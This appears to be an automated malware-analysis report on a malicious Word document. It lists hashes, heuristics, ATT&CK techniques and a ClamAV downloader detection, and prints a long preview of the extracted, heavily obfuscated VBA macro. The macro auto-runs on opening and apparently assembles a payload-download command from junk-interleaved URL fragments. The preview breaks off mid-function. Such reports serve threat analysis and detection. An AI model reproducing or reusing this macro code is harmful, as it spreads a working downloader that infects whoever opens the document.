Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0037e6079060778b…

MALICIOUS

Office (OLE)

124.1 KB Created: 2018-09-26 10:19:00 Authoring application: Microsoft Office Word First seen: 2018-11-05
MD5: b6e13c6a1d437ed02509be01dd334983 SHA-1: a12ee91c820278590d58f0f846067992c1aa1053 SHA-256: 0037e6079060778b28b892eb8dcca7e28ca36f26a4f36d8dc53838d6d722b318
112 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro, as indicated by multiple heuristics and ClamAV detection. The AutoOpen macro is present, suggesting it executes automatically upon opening. The macro code is heavily obfuscated, but the presence of 'macros.bas' and the 'OLE_VBA_MACROS' heuristic strongly suggest it's designed to download and execute a secondary payload. The 'Spearphishing Attachment' technique is inferred due to the nature of malicious Office documents.

Heuristics 6

  • ClamAV: Doc.Downloader.00536d-6697990-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6697990-0
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 87147 bytes
SHA-256: 369e643c6d5de78ba9e4f4e067447896a8ee60185751cb8893c51c2da9ed7698
Detection
ClamAV: No threats found
Obfuscation or payload: likely
748 of 1062 identifiers look randomly generated (e.g. 'IslwpzbnFhnUXPbMSXLJNNVr'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "XjfLisDjucS"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim LiHOou(1)
LiHOou(0) = Mid(UafDKY + ZZDrUlncEhwjZXsjZtQ + koPjaj, 924, 20) + MidB(riQRJavX + NljuDAArwjJPhVDJvHjA + pOljGdW, 581, 498) + MidB(HUjafiJw + SjJcEsNcjktMNlPVNfpYIZ + jQdXBc, 2, 441) + Mid(GBlInzb + ISoPvXzCdKADDZwJjRMq + ckkErrzu, 232, 849)
   Dim YAAwfA(1)
YAAwfA(0) = Mid(cqNBUinK + GOzNIWMGDQZfkWohNpJE + ZfzDou, 640, 259) + Left(BqKsij + ZYCLdfJzdIGzrjqNC + iMlQU, 413) + Right(DdQbfRTN + uhvEFnqiTInVPpqZM + vCZipWiq, 460) + Left(tIwNiGzt + snPIvWPbopKHlsizMrvnzcN + LjbTf, 11)
kWOmnIjtktpw (KeyString(iAYfz + bCzQiO + 9 + 14 + 44 + ivwbic + stLlNFrL) + ZQJKmOz + ZmUZd + KeyString(PQwcLYP + mmIIVLl + 10 + 16 + 51 + piJUJhiw + AYTisipb) + dSEYjani + ElNhAZ + tDsPmEqKVsi + jlLhSYdjl + qUTzAhjPhjp + wMJmzkP + iaWKjaaLVBw + LVdUUMkFd + WuzOP + wjALUzf)
   Dim RvwAPf(2)
RvwAPf(0) = MidB(NPsMWi + iUFDAzcGAtMwEcZOF + uqLkBz, 55, 398) + Mid(udqfa + USwuOmWSEokzQBbOsPwcz + oSTqfd, 621, 599)
RvwAPf(1) = Left(JTfDpRU + kiosBaLDiYpqwEzq + ESWOS, 934) + MidB(Czbhi + zZSPZRcAwKKpFlWEjMRii + AAjwIQ, 154, 928) + MidB(jbzsbRC + mDFRiKiUhhvjlbUXotC + GlCXL, 94, 904) + Mid(arJvj + zmnPRjwpbzzidOkKsvnSQ + jJtCVs, 353, 477)
   Dim TtqDT(1)
TtqDT(0) = MidB(SOYiTpd + SbhuzTSoNUbczENmzwLkc + IvujUT, 437, 237) + MidB(RwQAaMPF + pPUXirdlGrFJWjEsB + aGtmzl, 426, 690)
   Dim iXXdWt(2)
iXXdWt(0) = MidB(KECczWzv + wVoTmNMfzMBHsojSRFHM + BEIYlJn, 77, 990) + Mid(lKlJR + kdJwKAVPcPnpIBJEHZpZz + TqdwJzPZ, 545, 167)
iXXdWt(1) = Right(uHDDu + LIzkiAANJvELoOhQTPYQ + DjOwEVuO, 163) + MidB(TGzzImjP + RQfZYdrZnrTqaQinApDr + XFTKcs, 6, 972) + Left(PiWfWQX + vAPYcWBcjPOMBuKj + rVCpFCtw, 339) + Mid(UhfNHj + GrYRZWqiibGqmfNjXU + Kwzur, 489, 987)
   Dim tjbtbW(1)
tjbtbW(0) = Mid(bsaRGLpk + cKMjvoNiviFKMMZE + NDAaMpJz, 655, 957) + Mid(SHmRNnBE + FNVlYHuzjXIPGMjfNwzSJ + YvzlDNjV, 959, 743) + Left(RBFiijZ + fEGERZAvuMvdjddJbt + BISiIN, 284) + Mid(fCsqshl + ZprsfnRiECPhiFvzus + IbPbrIIv, 840, 411)
   Dim PioWp(2)
PioWp(0) = MidB(kFzlhLH + YIDKTWczmvkFHnHUfK + hDiKo, 621, 27) + Right(DaTJUfn + pWCRzwSjuDmTEWGlMoT + JjinVkHT, 547) + Left(RBQEDM + GuzkqEwZCfNWHSAKzv + KoOSDFC, 653) + Mid(SstKwo + liRwRznIlDBYEUvbQBsWUf + iUzWL, 123, 629)
PioWp(1) = Mid(SNXPY + QizuOXiVNoPsLWwPTLP + rvQsaXMr, 732, 920) + MidB(jAoGlbWz + QsVwBSvlBmEHqvcBw + GHkVHIik, 870, 883)
   Dim TiJdf(2)
TiJdf(0) = Mid(iJjVz + LnmmtovjRPLazatmiDw + TiqDkY, 121, 346) + MidB(zVJFbH + wsOTlDAYbLarUSKzo + KzpEA, 103, 998)
TiJdf(1) = MidB(fBfwDD + mwjziGwEdomRJoNQijDzAS + YlQnRSM, 204, 793) + MidB(fqsAS + SAVNSWmVRjhVaYTRq + EzzlcB, 502, 736)
End Sub


Attribute VB_Name = "XpzIKKTGQiwv"
Function dSEYjani()
QGhAKfV = "d \/ //   //" + "// / \  / /V:" + "O/C" + """" + "set ]}*~=027a 0" + "72a 07a2 0a72 207"
ZiKwMnYW = "a 2a70 0a72 270a" + " 72a0 7a02 a" + "027 a207 02"
Dim jqzRY(1)
jqzRY(0) = MidB(tQiQXv + COZOzUwvOSWwXoiiun + CtiHaoHO, 488, 205) + Left(NQNZEMuC + GSWRGpNrPBWWwuHnzt + YlGaJd, 653)
   Dim iREfn(2)
iREfn(0) = Right(YwBqjd + AmktXivcbWUGncpsK + YSjAZKiX, 742) + Right(YZbroTj + cEQTOiONtlJYLOWEJRE + liQfw, 777) + Right(AaNUB + rSPJtZYNMYbwcAEFijSMS + ZJwwuR, 3) + MidB(qBuvm + CSXNZjzpEviFZkVzOBPRH + PKCdT, 374, 409)
iREfn(1) = Mid(tvMwqK + pVVinEKamzhmmMToTM + JHJMCYX, 172, 83) + MidB(clFhb + StjXQdsilWVJwEWiYCm + tIfYiji, 851, 298) + Left(qvmqfTXw + iPKXttKBvfqDdIwsGiGnCOz + wEfoRrL, 870) + Right(lnTvO + zsIihzFiIcbHTiwwQrZM + dSOFmj, 847)
   Dim ownPlI(2)
ownPlI(0) = MidB(ZMTGzqu + ISnODpuwjAkJXCiZh + lZHZh, 940, 344) + Mid(MhAVPFjl + UmchdubKuIULGwjdiscX + ViOtSTzp, 690, 634)
ownPlI(1) = Left(rifFm + msVuYjqHFErOquNRRaLi + XXWczZ, 126) + MidB(zvAkqJbq + fpJSwWQVRFaNtUAAJfzzY + HfWHpkWu, 931, 703) + MidB(aFhhl + YhGPpzHfEhrlbzPNbVESw + HtvcwMV, 761, 356) + MidB(PjKiv + OtcdcqwLAPUPKjNuDFVVwI + VoDtZO, 539, 649)
   Dim uZlXQ(1)
uZlXQ(0) = MidB(YtbYSw + aaFiaGTPcojcSiRIIHC + STPsGRTM, 93, 639) + MidB(sjinMhBX + uFLPTBnXYaNQHrwJbbvBq + mUvZBb, 811, 545)
czcPzz = "a7 a702 720" + "a 7a02 72a0 7a" + "02}207a}a072{027a" + "ha270ca720t720aa"
sNkinziXp = "a702c20a7}720" + "a;027ak2a07aa" + "702e072ar7a0" + "2b270a;a720J20a7i"
iCtWNk = "0a72W27a0$207a 2" + "0a7ma270e2a07ta027I7" + "0a2-07a2e27" + "0ak072ao20a7va7" + "02n20a7I072a;07"
ZzWFn = "a2)20a7J2a70" + "ia720W702a$7a02" + " 27a0,20a7Ta027D02" + "a7v70a2$a072(20a7e0"
dSEYjani = QGhAKfV + ZiKwMnYW + czcPzz + sNkinziXp + iCtWNk + ZzWFn
   Dim fLJYq(1)
fLJYq(0) = Right(XiuFTrNt + kfShzacOrAhGOJATIDwLrS + VzLAkFz, 381) + Right(ailhJUz + bfvBENZClUbOizGQQcJvBnNR + tiLsdrz, 500) + Left(mLDHh + LDnasIiMRkrvqavH + lnzjUDE, 98) + Mid(NNlCO + BVDKQNfhQqUaiTZQ + YGEdoQWj, 559, 789)
   Dim ZumFZV(1)
ZumFZV(0) = MidB(AmmNkvp + ScwGGcOjcJqzEbJRoZtE + tlTrs, 857, 512) + Right(LMjpTSXG + EuBiLDMrwJYXvEvHojiGBt + jkzQSAL, 971)
   Dim ERzQF(2)
ERzQF(0) = MidB(mjjRMsp + wRJWajqTjJzrZTuqChi + Imdjz, 314, 515) + Mid(zmaDRnY + MZwjvKwtzzQHBOoDGWo + NtmJKBH, 345, 537) + Left(SKZrSk + dZVqYACzVTHNVBXps + hoEsIrpw, 696) + Mid(RbLrDNJ + HwIvwwwDvvBfnshlLNClzfGr + zJfjsik, 624, 183)
ERzQF(1) = Left(umHob + oSKShRzFKKPrGulPRmFHAb + QbvwVFU, 68) + Mid(fcOmHd + uCCANPMIAiLwjjKJOpJ + KEMJA, 598, 590) + MidB(fhifQOj + wTUYKffFzTLjkqICuLdVG + JNDQvdV, 608, 254) + Left(muYdVZh + wzDfaFwzTwOujbpBqpA + RDOdQqE, 774)
End Function
Function ElNhAZ()
Dim zYZCqI(1)
zYZCqI(0) = MidB(sdnmzc + vPjwtufwDNnziHIPAbbWJ + rOsAUvQc, 314, 886) + Left(qCtHFmv + NjAirNGTsZRBZwjRXV + SbRMGTWk, 279)
   Dim InjAC(1)
InjAC(0) = Mid(mpolGacw + VoAozdHZhqXMUonTHijT + ZmzdY, 774, 391) + Left(cSrOK + tcFwOrolmpiwUmhXqfdA + bKTdcZ, 540) + Right(pDORs + IslwpzbnFhnUXPbMSXLJNNVr + GUpbvWl, 288) + Left(biffWso + ZbCrEiXiYlUHqCrMYAiMStL + fmUYjJLJ, 84)
fLPFBjjkBzw = "27al72a0ia270F072a" + "d70a2a7a02oa702l2a" + "70n27a0w702a" + "oa702Da207" + ".a207C0a27T207a"
NHjfTNNYz = "r27a0$a027{7a" + "20y270ar2a70t0a27{" + "2a07)a270N2a" + "70K20a7ra072$a072 70" + "a2n27a0i0a72 720aT"
bAiiSTjYiY = "0a72Da207v720" + "a$a702(a702h2" + "07ac027aa27a0e0a27r" + "a027o7a20f27a0;2a7" + "0'702ae0a27x2" + "7a0ea270.a270'"
ElNhAZ = fLPFBjjkBzw + NHjfTNNYz + bAiiSTjYiY
   Dim SGBKEw(1)
SGBKEw(0) = Mid(FGSKuhZW + rGHtTUGPvKulljTkGO + fOwQIIK, 413, 269) + MidB(WskZmht + EhKUzlJFlwBcfVDIwEa + BwjAGh, 64, 259) + Mid(YwDdQWw + cjitOJRdkzdilsEJuXi + wEcbrml, 987, 900) + Right(lTCSqM + cSCuNKNRpOswwJjSZqw + UQHzBmS, 646)
   Dim frVdiA(2)
frVdiA(0) = MidB(BvNoAdhI + CAzkhDaJmzHLYlibFiW + zXNcLd, 728, 256) + MidB(FUiuKSC + iztjDIbshzvfAinKpfAkaaFM + YJDBfRRD, 760, 204)
frVdiA(1) = MidB(lmfkoZU + zdErLPTJwwhBtuzjQj + iFuOEqm, 598, 837) + Right(YjzJUjC + MYDjKHqaljYdwamLdXTEi + sukfz, 263)
End Function
Function tDsPmEqKVsi()
PwjGLZbQF = "7a02+0a27i0a27z072ai" + "a207$2a07+02a7'20a" + "7\072a'702a+72a0ca0" + "72i072al720a" + "b027au2a07" + "p02a7:27a0va702n702"
Dim RtKPQ(2)
RtKPQ(0) = Mid(UKfRan + IKuqiSUZwDLMhkkrjD + BsRipC, 64, 817) + MidB(viInRac + kSNVNpwjpwpCJsRzdRWGki + OtTKP, 645, 565) + MidB(oXDpCEWA + tVPuTIdVOMdmwEMfhHZ + EaNJaNzF, 258, 879) + Left(wzAClLU + KkHAdzKpjTbVqTvvOHPtY + FMdvvEu, 154)
RtKPQ(1) = MidB(GIzNpjYM + dIHHRZliuritwstl + NwDoKzh, 485, 455) + MidB(VGwwEVd + IdwwYStrriboWDSHSr + DLNjG, 941, 872) + Right(GlYkwF + DOhjNEhjkACWMmwmKjnWzUO + wjNwC, 285) + Left(iapGjza + TtuwbOCSIQrkMilAWCAH + RvFji, 685)
   Dim FAUbE(1)
FAUbE(0) = MidB(LfwFwm + qXCOapTlzpKTwlEjiLiH + iLWDBw, 445, 451) + Mid(IcVmVP + iPMwOtVuFPCMQcdTPjzRmm + wESLPiu, 555, 198)
idCUBoH = "ae70a2$2a07=7a02J027" + "ai0a27Wa702$2a07" + ";2a70'70a262a705" + "2a071a270'2" + "07a 07a2=a270 02"
wbUJiIsw = "a7ia027za2" + "70ia207$027a;a" + "270)2a70'a027@0a" + "27'7a20(20a7t2a0" + "7ia072l072ap2a07S"
lEiobNZRnm = "072a.7a02'7a02G" + "072af270a8" + "2a70/a270o70a2r0a72." + "702aa07a2c20a7i20a" + "7t07a2pa70"
tDsPmEqKVsi = PwjGLZbQF + idCUBoH + wbUJiIsw + lEiobNZRnm
   Dim ciVDRH(2)
ciVDRH(0) = MidB(szVus + zfzaLjWcctzXSwHjrhOv + IjkziXT, 391, 253) + Right(MbZQLLsb + GkFhXLDkkjzvCXtEafKW + WhQfV, 418)
ciVDRH(1) = MidB(WBviRLk + cLNPjWiowWzcPcAFvY + PVYAEB, 120, 658) + MidB(PhKcqp + AhWziuFhpKfMsOtIVLdhQC + ODnlKu, 912, 448) + MidB(SrdvWmRX + XTOiwpoXzGuzicDzkQUh + CiaorQt, 270, 473) + MidB(oJodFHzh + rwEsKNEpCmKwPzjjM + rwqSOWf, 189, 409)
End Function
Function jlLhSYdjl()
ImBvT = "2o72a0a720" + "ar2a07b20a7i2a70f" + "7a20.2a70wa"
Dim KhWwh(2)
KhWwh(0) = Right(JjnIdK + pHTzZrFHCrzAjmsqkVs + jrWrDnMI, 393) + Left(CCCsQtcO + EUlDGWkTEwDTRZBUpii + dikzaqt, 586)
KhWwh(1) = MidB(bWlnw + oKsswikwUauEQCacmk + KSuKpL, 675, 718) + MidB(NuTLq + zodVSkFCGjMUfrhaEYuzM + rqNFEM, 929, 613) + MidB(PzsioHnF + kXWzcdaXFoRmOpwBXQos + torPQGu, 249, 210) + Right(UNcbwW + HwLwqZSDcIwibVjKHwtEb + ubTaau, 627)
   Dim fisBpz(2)
fisBpz(0) = Left(kCoqtstm + AiNujSfrXdBNnpAwWU + CUYWhBj, 499) + Mid(ijdal + jKGsNpZXFCtpqzKaKOld + pzijoNEC, 778, 749)
fisBpz(1) = Left(qpljz + jjwAsqiPntzjwjKqjsw + PfmIV, 786) + MidB(cibQrw + KztOvpiFRCZGZChpMDWtVMb + XiflXzZu, 99, 553) + MidB(BjMDmC + ftauMpnDYBTTQlRBJAI + qLKXJq, 671, 200) + MidB(SdElYw + qhamGVwRVAABXQNPSdNp + zOEMA, 857, 95)
TisYU = "027w20a7w20a7/02a7/" + "02a7:0a72pa720" + "ta720ta270h72" + "0a@072aX072aOa02"
hUnoRvjw = "7ua702J72a0i2a70D27a" + "0/0a72ma072o20" + "7aca270.072apa207e" + "7a20i20a7h0" + "27ag027an7a02g027a"
jlLhSYdjl = ImBvT + TisYU + hUnoRvjw
   Dim pfttEN(1)
pfttEN(0) = Mid(GoAQtrXN + szITQlSJmLhXUzfKXr + DnpTwtM, 306, 165) + Right(OZaWPI + EOhYfZsrsDIXkjaRPY + DSqLzt, 567)
   Dim vmDFp(2)
vmDFp(0) = MidB(YNKQSu + jXhqHdrjGHuiQcvFVaAvau + bhlhTrVU, 398, 457) + Right(oDCTw + fHkORfpQjcGvsnQZoDNwIXn + RXhzsQ, 692) + MidB(SUCizFns + OAnAUZZSKcrdzXzfOfIFZj + KEIIPG, 461, 332) + MidB(XMXwrRX + qCGZMoNkFuNRkUKBN + iGvVm, 140, 317)
vmDFp(1) = Left(iLInUDfv + DnLWQWVNWHqlUAd + FmwPM, 36) + Mid(ijpPh + SXjiPQlQiMKSCBDSzRqv + zTnhhs, 774, 815)
   Dim zQwcl(2)
zQwcl(0) = MidB(jjzqqAi + LONPbbZPwwVjqYjCmCa + iKPKYGT, 90, 60) + MidB(ZdtrVqi + VOwqaWhRrllhkhRrLdtSq + rPrhvTQt, 143, 384)
zQwcl(1) = MidB(kBYBYL + ssMaJbrwbvGhbZwvRUo + Dnipnc, 401, 137) + Left(GwDRXU + ifYHrIGbaPqbwWWwBK + oXUUf, 289) + Left(boBFzpw + SjAurrCjEvBXbYjjWo + TwnCZwSJ, 503) + MidB(idhMwjj + KNaEMtEYMZhbpDpLEQvUb + dTMmDnWu, 634, 128)
End Function
Function qUTzAhjPhjp()
dcMHSIz = "n027ao7a20c" + "70a2n0a27o0a27s" + "a027o2a70ha270k" + "072ag027an2a70o7" + "02ata072/027a/0"
Dim MOEzj(1)
MOEzj(0) = Right(laRnRU + hrIkdqVdqHwkpCRXNsBpZc + OwcUku, 788) + Mid(OfuVrkQ + WpwXzParFfCicGhLWWB + QDswvWHk, 670, 968)
   Dim FCMWOJ(2)
FCMWOJ(0) = MidB(VVXFF + AWqpqSMsdFpONcBTShM + RYLDbw, 958, 252) + MidB(wXnaLWs + sIUiIrvEmbwYYRGJfuj + jzGaBqwZ, 734, 855) + MidB(wtDLU + aVlIkPCtjPZMQblhtNq + wzPbY, 66, 954) + Mid(mSXupVLz + qWSdsUvanIfkSbMaVNlEiaz + VPVuQ, 200, 231)
FCMWOJ(1) = Mid(TWGcLWX + hETdiYbSESuQrWL + OZHojU, 548, 386) + Mid(OjzTQ + shKWprHsPcqloVrHzf + jEjQpl, 714, 694)
   Dim HiiHr(2)
HiiHr(0) = Mid(zSqFAdH + ZicICwTaSFjHfzbi + wdRZzMD, 168, 672) + MidB(DmMGHWM + LjYUHhjZCCdDWaiFtuK + dXfXAXaO, 545, 575) + Left(FzSPcU + YwAPlGwHIlApjqkiCboA + IuNQp, 321) + MidB(LTfWQlu + GTsUdYGNPmjEkzcLjXSr + dNLNma, 770, 536)
HiiHr(1) = Left(hjjfWGi + nvHihCJirPnbhKvUbowEP + tjwpco, 816) + MidB(dWfdRj + kZuFzjLLOAMojQCWMtPa + JScfSCr, 443, 862) + Mid(ILuvQdRa + iliwMONMUzzUDjsMIp + BYFIaw, 310, 966) + Mid(Gajzj + iRjzqLrDNwYOjpmaHGmJwW + NQmFAnYi, 449, 297)
DmRAi = "2a7:0a27pa207t702a" + "t27a0h7a02@20a7y027" + "a507a2O72a0Ja720S70" + "2aX20a7E7a02da20" + "7/72a0ga072r072" + "aoa702.70a2k2a"
Dim qwMuh(2)
qwMuh(0) = MidB(LjfXNsk + kEUtzvXdHUTkCZKQkw + zMnjXViC, 738, 84) + MidB(tkNUjApQ + lQQuVoiSHIPVjYBvEitP + RLqjjIMQ, 327, 529)
qwMuh(1) = Left(cAuUSl + iOhLIcnUzrAvEDnjzvzEFm + BAkQIsiM, 50) + Left(YGUrvRk + YwRciCufJbZwUkjiIQr + MPciEDnU, 298) + Right(FjHlGU + sCFZYiWhBOEhQPZtpb + JJLjk, 562) + Left(nhKIvGq + isFTAkpKqVhbuFwPNCmhjZ + WmXJZV, 951)
wcCpE = "07a72a0l072am072a" + "e270ata702n720ae72" + "a0k072aia072t27a0a2" + "0a7b702a.2a70w"
qUTzAhjPhjp = dcMHSIz + DmRAi + wcCpE
   Dim nIZWW(1)
nIZWW(0) = MidB(cvLnFlz + qtvKVuZSXshwmVFInpr + vHdPkQ, 15, 474) + Left(fELYutjM + cEfjhAjjXkzNiPNQCWTizjZ + KPEcnipq, 539) + MidB(jhUhbNf + JjdZkBbWhDHZbSILfo + VbsUClG, 689, 14) + Left(odlfsmGf + qaJvzGJFLskvHzZXPwCYh + pnQZYIEr, 594)
End Function
Function wMJmzkP()
Dim TXBIYj(2)
TXBIYj(0) = MidB(zsPjhotu + IfWJiQNVSobOwOdizkRIL + LEQuaaIr, 579, 352) + MidB(skXLL + VdSViQLVjrXlEjza + TXSviE, 705, 963)
TXBIYj(1) = Mid(GjFjPt + VJPnLmuCHjrNsCGzZEU + vGlqGb, 414, 221) + MidB(FiwfMf + CdRiLVMdJtJdAiEBDCalUu + AuXuTYi, 345, 39) + MidB(uPstz + nlEEvnizTbsNpwSGOZk + cHfKlLJ, 557, 483) + Left(Mbvwj + bPqJwYjabrzsCqVbzslJw + jBOCTWbj, 174)
   Dim DJXkG(1)
DJXkG(0) = Left(zDCSSDzi + YAqhZwsjNctiAwofVdP + WiizsRL, 163) + Left(TwsoiKfN + UEYBnHJDlzJmEQviOCUdo + hHKUqQp, 195) + Left(JjKwJB + sKLndmuiLAAakUzwiuj + nshkljE, 18) + Mid(vWWtiXaH + JQrZLEmDWjMpkFJwC + lbozjTVb, 157, 750)
   Dim Cfzij(2)
Cfzij(0) = MidB(DiihAFhI + oBczIQVpnkjDcvJGSTWBhtIL + TqAzvq, 8, 122) + Left(PbpljPXf + qzLQmcSuDzFPZbwHlvCibc + kSRWdIT, 482)
Cfzij(1) = Left(jNTYALY + MQJmjXQroUjnvhdhWwwA + zSoNur, 127) + Mid(iOafli + bkzvvSVqiqYNPPjYjDzw + VRjGB, 830, 59)
   Dim UPIVD(1)
UPIVD(0) = Right(WaJQIE + YKFFVpiotaBlkSrKvAtz + QjWnzt, 317) + MidB(iqlzvOp + cdzhmHcCuTzihFIHBoz + ACbFqLvF, 503, 456) + Left(ZiuPVUrV + DjIPpFhZdTAhkfMwOXHniHX + fTHoQNwv, 939) + MidB(pXApuf + KjIiBTPvtiHotOVfjTl + LVJrWR, 855, 973)
picjnt = "7a20w07a2w0" + "2a7/720a/7a02:07" + "a2p07a2t07a2t720ah" + "20a7@720aaa270Y072a"
Dim WvOrtR(1)
WvOrtR(0) = MidB(JVNVGZ + mcNkFwjlKwGHkjYtNUPok + lztCVY, 910, 87) + Right(DqYZAfF + zHYlUojdEWoduwpjoY + SCprA, 383)
   Dim tdoJr(2)
tdoJr(0) = Left(sEDvXp + JQOnPlLiciPaiKWuklZRF + mrkJp, 154) + MidB(CccNUUH + hItrOGkAuJwIZMFub + bOqcUUzB, 500, 555)
tdoJr(1) = MidB(kzULYi + oNqMSdoIONqhiBlolnw + EQNLEBj, 223, 935) + MidB(NXdJqzJt + dmrPpJuslpsKIJjHiBt + UGYczliF, 184, 329)
   Dim IGdLR(1)
IGdLR(0) = MidB(bJFVFTJ + zpFrqDsfrHVWJcJfBU + bNrkbf, 166, 669) + MidB(lmTaBbEO + ZaPFALLcdaVQVzTQADIz + Wajbhbm, 440, 632) + Mid(zmkPT + fTQWzzclzwwQVdlbBcCo + acjNiBj, 447, 699) + Mid(TAcmE + oajiYJQGsiwciRmqOCwPZ + fBdIo, 931, 438)
   Dim YzvDWw(1)
YzvDWw(0) = Right(osopdB + SNqmrKwOdPDiZPft + RUSaZbj, 841) + Left(zPDWi + HOowpsjBkKPawIZtYLRi + tbPNR, 644) + Right(nXfwicbl + rWcuEraVpHPpfLRRkjCLVm + bwYSmjt, 837) + Left(wXXYrLK + hzmojJrooLGIObzWVf + EMzutMsr, 16)
zuPOzTmIjWO = "f27a0470a2ra0276a27" + "0T7a02227a0/2a0" + "7r2a70b270a.a" + "270ma072oa207c027a." + "027at07a2e"
Dim PKGwkN(2)
PKGwkN(0) = MidB(RpZXH + uzSKOLOwnlrAdsq + vfJcbF, 700, 126) + Mid(aPjBoKEH + DwJJzYNRLhjEOopjJ + YzMVE, 97, 56) + MidB(lZjNzV + DmWpdSuLoZWOtwXMw + NKblvH, 401, 202) + MidB(nMfWDPuf + tQcSLQpPbJDZLNsWmq + hiBsmpi, 550, 642)
PKGwkN(1) = Mid(ZwiJZi + vmjkNvwCCIfTrpvVizjw + fKcdES, 769, 925) + MidB(ozwnw + fZYzAiHmPMMfOnhlUOw + jHlBwl, 447, 480) + Right(AZDbf + riDbjfApnFLVihOswGn + nXiNOEiC, 173) + Left(Thtzct + zRNTSjzNmfPLnMBimlE + WLNHK, 273)
   Dim EPsKM(2)
EPsKM(0) = MidB(OnrSzv + vlOEpWwlFGjiwhPNkNCc + RUBjtDW, 208, 311) + Mid(FIzmJS + FduRFBjiHLtIYCtQsB + OASGHP, 513, 514) + Mid(XsFWDvAr + DECGpobkCODVFjZuUHjRzl + CzwPAi, 920, 406) + Right(LRToqKsh + AqmHbzjWnFVSYZnNUZkV + HafRVZQ, 344)
EPsKM(1) = Mid(LMqoDj + XspzuPEtTwzQUTWTPBNo + KNYawJ, 712, 206) + Mid(ZnIjPMcU + CwrsMUQzwJEljfSGJN + VurLpDD, 472, 883)
   Dim PLWjOi(1)
PLWjOi(0) = MidB(LppVBb + jKNnFQVzUIrMPMBRYf + bhsbp, 612, 494) + MidB(upWOjEi + AjtVkIOQIAKXihGMoipX + zWZJiI, 428, 344)
KFzKtSqzQuq = "a027v7a20l20a7e7a2" + "0v72a0/027a/72" + "0a:0a72p072at0a72" + "ta072ha720@072an" + "a072o207ata072" + "ca720Ja027c2a70/"
wMJmzkP = picjnt + zuPOzTmIjWO + KFzKtSqzQuq
   Dim fraaD(1)
fraaD(0) = Left(iFVQdjUi + nbOOXPKzHFcozJYwkNIp + fjmYn, 828) + Left(EaoorHw + GDoCQVBawflsilrJcmJ + rjYhnR, 318) + Right(wCmvEP + XMvDzMwDkPpidTLjzMNIf + ucziB, 544) + MidB(OzVRrXc + hAKrUFztiQfKEPRTEbintz + RBTIUija, 594, 422)
   Dim WzGIt(1)
WzGIt(0) = MidB(EsFuD + aCwNQFGhbZavzkBTszEV + NsKHLGPC, 232, 149) + MidB(RFaTQSi + kHiOVsNLVjYSCzWUJXjps + wtYhmq, 840, 516) + Left(jsqNfoA + DzCYYvKYvARCwqpd + jsZROGfG, 580) + MidB(EqwTuVz + jTidTujnozXCLWGKKQDuN + uNjCVq, 255, 869)
End Function
Function iaWKjaaLVBw()
HXzJWRoRaoi = "207au7a20e07" + "2a.a027a02a7i" + "20a7r702at27a0" + "s0a72u72a0d7" + "a02na270i7a20" + "s702am027a"
ziVYF = "ea072t270a" + "s0a72ya270s" + "a027a7a20v" + "a027oa207n72a" + "0.702aw0a2"
Dim wwTas(2)
wwTas(0) = MidB(jLBfcMRO + adYRKASEOTICIth + jXNFdGLP, 724, 432) + Mid(AHSfp + sTInaVatdTSkWCQTnEuk + dMHCpWT, 960, 920)
wwTas(1) = Left(bjmjDF + SDABBkQVIhwicITwDGAUo + vSdjkwb, 967) + MidB(cLFSZHz + SnwdpaHPfRiMMzmlYiWkN + wNjdzC, 599, 489)
   Dim wonIAr(2)
wonIAr(0) = MidB(wvQzfd + MRjvDkViWblDnplsI + XrKSRjD, 948, 642) + MidB(ipNtb + mRidQljrcKuljtollT + jpYkBZ, 806, 884) + MidB(jWjzt + jkoanmRIFTEpzsworqkGBi + EwpmzNBF, 666, 641) + Left(CHBtUWpY + FhzFjtvirrtMlSTnuJjHEmk + mftWsQrI, 741)
wonIAr(1) = MidB(HJEuzCJ + bACwlGWZuSwFFwUAvu + ZMfkFoH, 47, 559) + Right(Omdulm + irbfCDnBhJwUdmFVZh + pJhqEdDi, 273)
VnnNMYIJEW = "7w027awa270/20a7/720" + "a:72a0pa720t20" + "7at2a07h7a20'70a" + "2=2a07N0a27K0" + "27ar0a72$7a02;" + "a720ta207n"
Dim pzhdhs(2)
pzhdhs(0) = MidB(UUqDz + IjQMnzlVVMIzupuqdfE + hjLXVSds, 719, 566) + MidB(wzmJq + IUjrIZBIHqUbfHGb + rUWjC, 958, 937) + Mid(jmTtT + oCCwRUlvrwWRfvHQANL + cJAbDB, 188, 736) + Left(SDYTmXi + LBaZccXlCTkdUHUJrHh + kNAqcV, 868)
pzhdhs(1) = Right(ntVCjXw + XjnzoGsiCZjQdrLchvQJC + DKSXwKMi, 187) + MidB(mYuzdqq + XQdquWwhHazCihHGOX + RkCqij, 353, 487) + Left(vSnjb + oOwBApnZOvjkiflwrRoOP + bDjPC, 114) + Right(ZJpSRu + qUWpifhqUUlWhTtOkscM + SEWvi, 890)
   Dim zzussY(2)
